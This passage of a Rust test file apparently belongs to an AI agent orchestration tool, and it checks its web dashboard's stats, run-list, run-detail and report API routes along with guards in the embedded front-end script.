11069 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11070 assert_eq!(bumps["merged"], 2);
11071 assert_eq!(bumps["recorded"], 2);
11072 assert_eq!(bumps["pr_opened"], 2);
11073 assert_eq!(bumps["automerge_enabled"], 1);
11074 assert_eq!(bumps["needs_attention"], 1);
11075 assert_eq!(bumps["clean"], 1);
11076 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
11077 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
11078 }
11079
11080 #[tokio::test]
11081 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
11082 let f = Fixture::start().await;
11083 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11084
11085 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11086 assert_eq!(bumps["merged"], 1);
11087 assert_eq!(bumps["recorded"], 0);
11088 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
11091 assert_eq!(bumps["automerge_rate"], Value::Null);
11094 assert_eq!(bumps["attention_rate"], Value::Null);
11095 }
11096
11097 #[tokio::test]
11098 async fn stats_queue_counts_come_from_the_live_queue() {
11099 let f = Fixture::start().await;
11100 let q = f.queue();
11101 let mut queued = Task::new(
11102 "queued task".to_owned(),
11103 "do it".to_owned(),
11104 PathBuf::from("/repo"),
11105 Source::Human,
11106 );
11107 q.put(&mut queued).expect("put queued");
11108 let mut held = Task::new(
11109 "held task".to_owned(),
11110 "do it later".to_owned(),
11111 PathBuf::from("/repo"),
11112 Source::Human,
11113 );
11114 held.hold_machine(Some("out of attempts".to_owned()));
11115 q.put(&mut held).expect("put held");
11116
11117 let queue = f.get("/api/stats").await.json()["queue"].clone();
11118 assert_eq!(queue["queued"], 1);
11119 assert_eq!(queue["held"], 1);
11120 assert_eq!(queue["running"], 0);
11121 assert_eq!(queue["done"], 0);
11122 assert_eq!(queue["failed"], 0);
11123 assert_eq!(queue["blocked"], 0);
11124 }
11125
11126 #[tokio::test]
11127 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
11128 let f = Fixture::start().await;
11129 let stats = f.get("/api/stats").await;
11130 assert_eq!(stats.status, 200);
11131 assert_eq!(stats.json()["totals"]["runs"], 0);
11132 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
11133 assert_eq!(stats.json()["runs_unreadable"], 0);
11134 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
11135 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
11136 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
11137 assert_eq!(stats.json()["repo"], Value::Null);
11138 }
11139
11140 #[tokio::test]
11141 async fn stats_lists_every_repository_with_runs_recorded() {
11142 let f = Fixture::start().await;
11143 write_run_repo(
11144 &f.runs(),
11145 "20260902-140501-a",
11146 RunStatus::Merged,
11147 "/repos/a",
11148 );
11149 write_run_repo(
11150 &f.runs(),
11151 "20260902-140502-b",
11152 RunStatus::Merged,
11153 "/repos/a",
11154 );
11155 write_run_repo(
11156 &f.runs(),
11157 "20260902-140503-c",
11158 RunStatus::Blocked,
11159 "/repos/b",
11160 );
11161
11162 let stats = f.get("/api/stats").await;
11163 assert_eq!(stats.status, 200);
11164 assert_eq!(stats.json()["totals"]["runs"], 3);
11166 assert_eq!(stats.json()["repo"], Value::Null);
11167
11168 let repos = stats.json()["repos"].clone();
11169 let repos = repos.as_array().unwrap();
11170 assert_eq!(repos.len(), 2);
11171 assert_eq!(repos[0]["repo"], "/repos/a");
11173 assert_eq!(repos[0]["name"], "a");
11174 assert_eq!(repos[0]["runs"], 2);
11175 assert_eq!(repos[1]["repo"], "/repos/b");
11176 assert_eq!(repos[1]["runs"], 1);
11177 }
11178
11179 #[tokio::test]
11180 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
11181 let f = Fixture::start().await;
11182 write_run_repo(
11183 &f.runs(),
11184 "20260902-140501-a",
11185 RunStatus::Merged,
11186 "/repos/a",
11187 );
11188 write_run_repo(
11189 &f.runs(),
11190 "20260902-140502-b",
11191 RunStatus::Blocked,
11192 "/repos/b",
11193 );
11194
11195 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
11196 assert_eq!(stats.status, 200);
11197 assert_eq!(stats.json()["totals"]["runs"], 1);
11198 assert_eq!(stats.json()["totals"]["merged"], 1);
11199 assert_eq!(stats.json()["repo"], "/repos/a");
11200 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
11203 assert_eq!(stats.json()["runs_unreadable"], 0);
11206 }
11207
11208 #[tokio::test]
11209 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
11210 let f = Fixture::start().await;
11211 write_run_repo(
11212 &f.runs(),
11213 "20260902-140501-a",
11214 RunStatus::Merged,
11215 "/repos/a",
11216 );
11217
11218 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
11219 assert_eq!(stats.status, 404);
11220 }
11221
11222 #[tokio::test]
11223 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
11224 let f = Fixture::start().await;
11225 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
11226
11227 let summary = f.get("/api/runs").await.json();
11228 let row = &summary[0];
11229 assert_eq!(row["short"], "a1b2");
11230 assert_eq!(row["status"], "ready");
11231 assert_eq!(row["done"], true);
11232 assert_eq!(row["title"], "Add a web UI");
11233 assert_eq!(row["repo_name"], "magi");
11234 assert_eq!(row["judges"], 3);
11235 assert_eq!(row["winner"], Value::Null);
11236 assert_eq!(row["reviews"], 0);
11237
11238 let detail = f.get("/api/runs/a1b2").await;
11241 assert_eq!(detail.status, 200);
11242 assert_eq!(detail.json()["base_branch"], "main");
11243 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
11244 }
11245
11246 #[tokio::test]
11254 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
11255 let f = Fixture::start().await;
11256
11257 let mut none_run = RunState::new(
11258 PathBuf::from("/repo/magi"),
11259 "main".to_owned(),
11260 "0123456789abcdef".to_owned(),
11261 "Add a web UI".to_owned(),
11262 Config::default(),
11263 );
11264 none_run.id = "20260902-140503-none".to_owned();
11265 none_run.status = RunStatus::Ready;
11266 none_run.merge = Some(crate::run::MergeOutcome {
11267 mode: crate::config::MergeMode::None,
11268 ok: true,
11269 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
11270 empty: false,
11271 });
11272 write_state(&f.runs(), &none_run);
11273
11274 let mut pr_run = RunState::new(
11275 PathBuf::from("/repo/magi"),
11276 "main".to_owned(),
11277 "0123456789abcdef".to_owned(),
11278 "Add a web UI".to_owned(),
11279 Config::default(),
11280 );
11281 pr_run.id = "20260902-140504-prcl".to_owned();
11282 pr_run.status = RunStatus::Ready;
11283 pr_run.merge = Some(crate::run::MergeOutcome {
11284 mode: crate::config::MergeMode::Pr,
11285 ok: false,
11286 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
11287 empty: false,
11288 });
11289 write_state(&f.runs(), &pr_run);
11290
11291 let summary = f.get("/api/runs").await.json();
11292 let rows: std::collections::HashMap<&str, &Value> = summary
11293 .as_array()
11294 .expect("an array")
11295 .iter()
11296 .map(|r| (r["id"].as_str().expect("an id"), r))
11297 .collect();
11298 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
11299 assert_eq!(
11300 rows[none_run.id.as_str()]["unmerged_by_design"],
11301 true,
11302 "a mode-none Ready must be flagged in the list"
11303 );
11304 assert_eq!(
11305 rows[pr_run.id.as_str()]["unmerged_by_design"],
11306 false,
11307 "a Ready reached by a closed pull request is a different case"
11308 );
11309
11310 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
11311 assert_eq!(none_detail["status"], "ready");
11312 assert_eq!(none_detail["unmerged_by_design"], true);
11313
11314 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
11315 assert_eq!(pr_detail["unmerged_by_design"], false);
11316 }
11317
11318 #[tokio::test]
11323 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
11324 let f = Fixture::start().await;
11325 let id = "20260902-140502-bbbb";
11329 let mut state = RunState::new(
11330 PathBuf::from("/repo/magi"),
11331 "main".to_owned(),
11332 "0123456789abcdef".to_owned(),
11333 "Add a web UI".to_owned(),
11334 Config::default(),
11335 );
11336 state.id = id.to_owned();
11337 state.status = RunStatus::Judging;
11338 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
11339 let dir = f.runs().join(id);
11340 std::fs::create_dir_all(&dir).expect("run dir");
11341 std::fs::write(
11342 dir.join("run.json"),
11343 serde_json::to_string_pretty(&state).expect("serialize run"),
11344 )
11345 .expect("write run.json");
11346
11347 let cold = f.get(&format!("/api/runs/{id}")).await.json();
11353 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
11354 assert_eq!(cold["live"], "unknown", "{cold}");
11355
11356 write_daemon(f.home.path(), Timestamp::now());
11359 let warm = f.get(&format!("/api/runs/{id}")).await.json();
11360 assert_eq!(warm["live"], "live", "{warm}");
11361 }
11362
11363 #[tokio::test]
11366 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
11367 let f = Fixture::start().await;
11368 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
11369 let mut state = RunState::new(
11370 PathBuf::from("/repo/magi"),
11371 "main".to_owned(),
11372 "0123456789abcdef".to_owned(),
11373 "Add a web UI".to_owned(),
11374 Config::default(),
11375 );
11376 state.id = id.to_owned();
11377 state.origin = origin;
11378 let mut value = serde_json::to_value(&state).expect("serialize run");
11379 if let Some(schema) = schema {
11380 value["schema"] = serde_json::json!(schema);
11381 value.as_object_mut().unwrap().remove("origin");
11382 }
11383 let dir = f.runs().join(id);
11384 std::fs::create_dir_all(&dir).expect("run dir");
11385 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
11386 };
11387 write(
11388 "20260930-092817-ec34",
11389 Some(crate::run::Origin::from_agent_env(
11390 Some(("4a7b".to_owned(), "chat".to_owned())),
11391 None,
11392 )),
11393 None,
11394 );
11395 write("20260930-092817-0ld1", None, Some(12));
11396
11397 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
11398 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
11399 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
11400
11401 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
11402 assert_eq!(
11403 old["origin_label"], "origin unknown (started before origins were recorded)",
11404 "{old}"
11405 );
11406 assert!(old["origin"].is_null(), "{old}");
11407
11408 let list = f.get("/api/runs").await.json();
11409 let labels: Vec<_> = list
11410 .as_array()
11411 .unwrap()
11412 .iter()
11413 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
11414 .collect();
11415 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
11416 }
11417
11418 #[tokio::test]
11425 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
11426 let f = Fixture::start().await;
11427 let id = "20260922-090000-cccc";
11428 let mut state = RunState::new(
11429 PathBuf::from("/repo/magi"),
11430 "main".to_owned(),
11431 "0123456789abcdef".to_owned(),
11432 "Review only".to_owned(),
11433 Config::default(),
11434 );
11435 state.id = id.to_owned();
11436 state.status = RunStatus::Reviewing;
11437 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11438 state.driver_pid = Some(std::process::id());
11444 state.driver_started_at = Some(
11445 crate::proc::process_started_at(std::process::id())
11446 .expect("this test process's own start time must be queryable"),
11447 );
11448 let dir = f.runs().join(id);
11449 std::fs::create_dir_all(&dir).expect("run dir");
11450 std::fs::write(
11451 dir.join("run.json"),
11452 serde_json::to_string_pretty(&state).expect("serialize run"),
11453 )
11454 .expect("write run.json");
11455
11456 let detail = f.get(&format!("/api/runs/{id}")).await.json();
11457 assert_eq!(detail["live"], "live", "{detail}");
11458 }
11459
11460 #[tokio::test]
11466 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
11467 let f = Fixture::start().await;
11468 let id = "20260922-090100-dddd";
11469 let mut state = RunState::new(
11470 PathBuf::from("/repo/magi"),
11471 "main".to_owned(),
11472 "0123456789abcdef".to_owned(),
11473 "Review only".to_owned(),
11474 Config::default(),
11475 );
11476 state.id = id.to_owned();
11477 state.status = RunStatus::Reviewing;
11478 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11479 state.driver_pid = Some(std::process::id());
11484 state.driver_started_at = Some("1".to_owned());
11485 let dir = f.runs().join(id);
11486 std::fs::create_dir_all(&dir).expect("run dir");
11487 std::fs::write(
11488 dir.join("run.json"),
11489 serde_json::to_string_pretty(&state).expect("serialize run"),
11490 )
11491 .expect("write run.json");
11492
11493 let detail = f.get(&format!("/api/runs/{id}")).await.json();
11494 assert_eq!(detail["live"], "dead", "{detail}");
11495 }
11496
11497 #[test]
11501 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
11502 let mk = |id: &str, pid: Option<u32>| {
11503 let mut s = RunState::new(
11504 PathBuf::from("/repo/magi"),
11505 "main".to_owned(),
11506 "0123456789abcdef".to_owned(),
11507 "Add a web UI".to_owned(),
11508 Config::default(),
11509 );
11510 s.id = id.to_owned();
11511 s.driver_pid = pid;
11512 s.driver_started_at = Some("1790000000".to_owned());
11513 s
11514 };
11515 let states = vec![
11516 mk("20260902-140502-aaaa", Some(77)),
11517 mk("20260902-140502-bbbb", Some(77)),
11518 mk("20260902-140502-cccc", Some(77)),
11519 mk("20260902-140502-dddd", None),
11520 ];
11521 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
11522 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
11523 let sup: HashMap<String, String> = [(
11524 "20260902-140502-aaaa".to_owned(),
11525 "20260902-140502-cccc".to_owned(),
11526 )]
11527 .into();
11528
11529 let status_calls = std::cell::Cell::new(0);
11530 let identity_calls = std::cell::Cell::new(0);
11531 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
11532 |_| {
11533 status_calls.set(status_calls.get() + 1);
11534 Some(true)
11535 },
11536 |_| {
11537 identity_calls.set(identity_calls.get() + 1);
11538 Some("1790000000".to_owned())
11539 },
11540 ));
11541 let rows = summarize(
11542 states,
11543 &open,
11544 &claimed,
11545 &sup,
11546 |p| probe.borrow_mut().status(p),
11547 |p| probe.borrow_mut().started_at(p),
11548 );
11549
11550 assert_eq!(status_calls.get(), 1, "one pid, one status query");
11551 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
11552 assert_eq!(rows.len(), 4);
11553 assert!(!rows[0].waiting && rows[1].waiting);
11554 assert_eq!(rows[0].live, crate::run::Liveness::Live);
11555 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
11556 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
11557 assert_eq!(rows[1].superseded_by, None);
11558 }
11559
11560 #[test]
11561 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
11562 let mut state = RunState::new(
11563 PathBuf::from("/repo/magi"),
11564 "main".to_owned(),
11565 "0123456789abcdef".to_owned(),
11566 "Review only".to_owned(),
11567 Config::default(),
11568 );
11569 state.id = "20260922-090200-dead".to_owned();
11570 state.status = RunStatus::Reviewing;
11571 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
11572 .expect("serialize list row");
11573 assert_eq!(row["status"], "reviewing");
11574 assert_eq!(row["live"], "dead", "{row}");
11575 assert!(!row["done"].as_bool().unwrap());
11576 }
11577
11578 #[tokio::test]
11579 async fn the_run_list_is_newest_first_and_honours_a_limit() {
11580 let f = Fixture::start().await;
11581 for id in [
11582 "20260902-140501-aaaa",
11583 "20260902-140502-bbbb",
11584 "20260902-140503-cccc",
11585 ] {
11586 write_run(&f.runs(), id, RunStatus::Merged);
11587 }
11588
11589 let all = f.get("/api/runs").await.json();
11590 let capped = f.get("/api/runs?limit=2").await.json();
11591
11592 assert_eq!(all[0]["id"], "20260902-140503-cccc");
11593 assert_eq!(all.as_array().map(Vec::len), Some(3));
11594 assert_eq!(capped.as_array().map(Vec::len), Some(2));
11595 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
11596 }
11597
11598 #[tokio::test]
11599 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
11600 let f = Fixture::start().await;
11601 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
11602
11603 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
11604
11605 assert_eq!(res.status, 200);
11606 assert!(
11607 res.headers
11608 .contains("content-type: text/plain; charset=utf-8"),
11609 "a browser must render it, not download it: {}",
11610 res.headers
11611 );
11612 assert!(
11616 res.body.contains("20260902-140501-a1b2"),
11617 "the report is about the run that was asked for: {}",
11618 res.body
11619 );
11620 }
11621
11622 #[tokio::test]
11623 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
11624 crate::run::pin_test_home();
11626 let f = Fixture::start().await;
11627 let id = "20260902-140501-a1b2";
11628 write_run(&f.runs(), id, RunStatus::Stalled);
11629 let path = f.runs().join(id).join("run.json");
11632 let mut v: serde_json::Value =
11633 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
11634 v["tally"] = serde_json::json!({
11635 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
11636 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
11637 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
11638 "met_quorum": false, "rankings": 1
11639 });
11640 v["reviews"] = serde_json::json!([{
11641 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
11642 "e2e_deferred": true,
11643 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
11644 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
11645 ]}]
11646 }]);
11647 std::fs::write(&path, v.to_string()).unwrap();
11648 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
11649 std::fs::write(
11650 f.runs().join("20260902-140502-dead").join("run.json"),
11651 "{not json",
11652 )
11653 .unwrap();
11654
11655 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
11656
11657 assert_eq!(res.status, 200, "{}", res.body);
11658 assert!(res.headers.contains("content-type: application/json"));
11659 let j = res.json();
11660 assert_eq!(j["schema"], 1);
11661 assert_eq!(j["header"]["id"], id);
11662 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
11663 let kinds: Vec<&str> = j["sections"]
11664 .as_array()
11665 .unwrap()
11666 .iter()
11667 .map(|s| s["kind"].as_str().unwrap())
11668 .collect();
11669 assert_eq!(kinds, ["candidates", "tally", "review"]);
11670 let tally = &j["sections"][1]["tally"];
11671 assert_eq!(
11672 (tally["decided"].clone(), tally["provisional"].clone()),
11673 (false.into(), true.into())
11674 );
11675 let round = &j["sections"][2]["rounds"][0];
11676 assert_eq!(round["e2e"]["state"], "deferred");
11677 assert_eq!(round["findings"][0]["severity"], "major");
11678 assert_eq!(round["findings"][0]["blocking"], true);
11679 assert_eq!(round["findings"][0]["state"], "open");
11680
11681 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
11683
11684 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
11686 assert_ne!(bad.status, 200, "{}", bad.body);
11687 assert_eq!(
11688 bad.status,
11689 f.get("/api/runs/20260902-140502-dead/report").await.status
11690 );
11691 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
11692 assert_eq!(
11693 f.get("/api/runs/20260902-999999-ffff/report.json")
11694 .await
11695 .status,
11696 404
11697 );
11698 }
11699
11700 #[tokio::test]
11701 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
11702 let f = Fixture::start().await;
11703
11704 let html = f.get("/").await;
11705 let css = f.get("/app.css").await;
11706 let js = f.get("/app.js").await;
11707
11708 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
11709 assert!(
11710 html.headers
11711 .contains("content-type: text/html; charset=utf-8")
11712 );
11713 assert!(css.headers.contains("content-type: text/css"));
11714 assert!(js.headers.contains("content-type: text/javascript"));
11715 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
11716 }
11717
11718 #[test]
11719 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
11720 let body = |name: &str| {
11721 let at = APP_JS
11722 .find(name)
11723 .unwrap_or_else(|| panic!("{name} missing"));
11724 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11725 };
11726 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
11727 let note = body("function landRoundNote");
11728 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
11729 assert!(note.contains("Land round ${round}"));
11730 let land = body("function renderLand");
11731 let note_at = land
11732 .find("landRoundNote(pr)")
11733 .expect("renderLand uses the note");
11734 assert!(
11735 note_at
11736 < land
11737 .find("roundRail(pr)")
11738 .expect("renderLand uses the rail")
11739 );
11740 }
11741
11742 #[test]
11743 fn the_runs_page_redesign_keeps_its_guards() {
11744 let body = |name: &str| {
11745 let at = APP_JS
11746 .find(name)
11747 .unwrap_or_else(|| panic!("{name} missing"));
11748 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11749 };
11750 let land = body("function renderLand");
11752 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
11753 assert!(
11754 !land.contains("box.append("),
11755 "renderLand must use append()"
11756 );
11757 assert!(land.contains("append(box, ["));
11758 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
11760 assert!(
11761 body("function applyRoute")
11762 .contains("route.name !== state.route.name || route.id !== state.route.id")
11763 );
11764 assert!(!APP_JS.contains("adviseConvergeDiagram"));
11766 assert!(!INDEX_HTML.contains("advise-converge"));
11767 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
11768 assert!(APP_JS.contains("provisional"));
11769 for id in [
11770 "run-tab-overview",
11771 "run-tab-timeline",
11772 "run-tab-report",
11773 "run-report",
11774 "runs-scope",
11775 ] {
11776 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
11777 }
11778 assert!(!INDEX_HTML.contains("runs-tree"));
11779 assert!(!INDEX_HTML.contains("run-raw-panel"));
11780 assert!(APP_JS.contains("resume"));
11782 assert!(APP_JS.contains("unreadable"));
11784 }
11785
11786 #[test]
11787 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
11788 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
11789 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
11790 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
11791 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
11792 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
11793 assert!(APP_JS.contains("unreadable` : null"));
11795 }
11796
11797 #[test]
11798 fn the_run_detail_payload_says_whether_the_run_is_done() {
11799 for (status, done) in [
11801 (RunStatus::Superseded, true),
11802 (RunStatus::Blocked, true),
11803 (RunStatus::Landing, false),
11804 ] {
11805 let mut state = RunState::new(
11806 std::path::PathBuf::from("/repo"),
11807 "main".to_owned(),
11808 "abc".to_owned(),
11809 "x".to_owned(),
11810 crate::config::Config::default(),
11811 );
11812 state.status = status;
11813 let v = serde_json::to_value(RunDetailView::of(
11814 state,
11815 crate::run::Liveness::Unknown,
11816 None,
11817 None,
11818 None,
11819 ))
11820 .unwrap();
11821 assert_eq!(v["done"], done, "{status:?}");
11822 }
11823 }
11824
11825 fn has_strong(nodes: &[md::Node]) -> bool {
11827 serde_json::to_string(nodes).unwrap().contains("strong")
11828 }
11829
11830 #[test]
11831 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
11832 let mut state = RunState::new(
11833 std::path::PathBuf::from("/repo"),
11834 "main".to_owned(),
11835 "abc".to_owned(),
11836 "x".to_owned(),
11837 crate::config::Config::default(),
11838 );
11839 let proposal = |approach: &str| {
11840 serde_json::json!({
11841 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
11842 })
11843 };
11844 state.advice = Some(
11845 serde_json::from_value(serde_json::json!({
11846 "records": [
11847 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
11848 "proposal": proposal("do **this**")},
11849 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
11850 ],
11851 "synthesis": "- one\n- **two**\n\n`code`",
11852 }))
11853 .unwrap(),
11854 );
11855 state.candidates = serde_json::from_value(serde_json::json!([
11856 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
11857 "summary": "did **it**"},
11858 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
11859 ]))
11860 .unwrap();
11861 state.reviews = serde_json::from_value(serde_json::json!([{
11864 "round": 1, "head": "h",
11865 "reviews": [{
11866 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
11867 "findings": [
11868 {"severity": "nit", "title": "t1", "detail": "plain nit"},
11869 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
11870 ],
11871 }],
11872 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
11873 "fix": {"agent": "a", "notes": "fixed **it**",
11874 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
11875 }, {"round": 2, "head": "h2", "reviews": []}]))
11876 .unwrap();
11877
11878 let v = serde_json::to_value(RunDetailView::of(
11879 state,
11880 crate::run::Liveness::Unknown,
11881 None,
11882 None,
11883 None,
11884 ))
11885 .unwrap();
11886
11887 let strong = |p: &str| {
11888 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
11889 assert!(n.to_string().contains("strong"), "{p}: {n}");
11890 };
11891 strong("/advice_md/synthesis");
11892 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
11893 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
11894 strong("/advice_md/approaches/0");
11895 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
11896 strong("/candidate_summaries_md/0");
11897 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
11898 strong("/reviews_md/0/reviewers/0/summary");
11899 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
11900 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
11901 assert!(f[1].to_string().contains("strong"));
11902 strong("/reviews_md/0/reconsideration/0");
11903 strong("/reviews_md/0/fix/notes");
11904 strong("/reviews_md/0/fix/rejected/0");
11905 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
11906 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
11907 assert_eq!(v["candidates"][0]["summary"], "did **it**");
11909 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
11910 }
11911
11912 #[test]
11913 fn a_run_without_advice_has_no_advice_md() {
11914 let state = RunState::new(
11915 std::path::PathBuf::from("/repo"),
11916 "main".to_owned(),
11917 "abc".to_owned(),
11918 "x".to_owned(),
11919 crate::config::Config::default(),
11920 );
11921 let p = run_prose_md(&state);
11922 assert!(p.advice_md.is_none());
11923 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
11924 }
11925
11926 #[test]
11927 fn a_question_view_carries_markdown_for_each_thread_turn() {
11928 let home = TempDir::new().unwrap();
11929 let store = ask::Questions::at(home.path().join("questions"));
11930 let mut q = Question::new(
11931 "run".to_owned(),
11932 "implement".to_owned(),
11933 "impl-A".to_owned(),
11934 "which?".to_owned(),
11935 String::new(),
11936 Vec::new(),
11937 );
11938 q.say("plain words").unwrap();
11939 q.reply("use **this**", Vec::new()).unwrap();
11940 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
11941 let bodies = &v["thread_bodies_md"];
11942 assert_eq!(bodies.as_array().unwrap().len(), 2);
11943 assert!(!bodies[0].to_string().contains("strong"));
11944 assert!(bodies[1].to_string().contains("strong"));
11945 }
11946
11947 #[test]
11948 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
11949 assert!(APP_JS.contains("function landView(run, raw) {"));
11953 assert!(
11954 APP_JS.contains(
11955 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
11956 )
11957 );
11958 assert!(APP_JS.contains("const pr = landView(run, raw);"));
11959 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
11960 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
11961 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
11962 }
11963
11964 #[test]
11965 fn live_runs_are_never_hidden_or_folded_as_superseded() {
11966 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
11967 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
11968 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
11969 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
11970 }
11971
11972 #[test]
11973 fn review_rounds_label_a_distinct_verified_head() {
11974 assert!(APP_JS.contains("round.verified_head"));
11975 assert!(APP_JS.contains("verified HEAD"));
11976 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
11977 }
11978
11979 #[test]
11980 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
11981 assert!(APP_JS.contains("blocked: { glyph:"));
11985 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
11986
11987 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
11991 assert!(
11992 APP_JS.contains(
11993 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
11994 ),
11995 "the note line must name what a blocked task is waiting on, not just that it is blocked"
11996 );
11997 assert!(APP_JS.contains("if (status === \"blocked\") {"));
12001
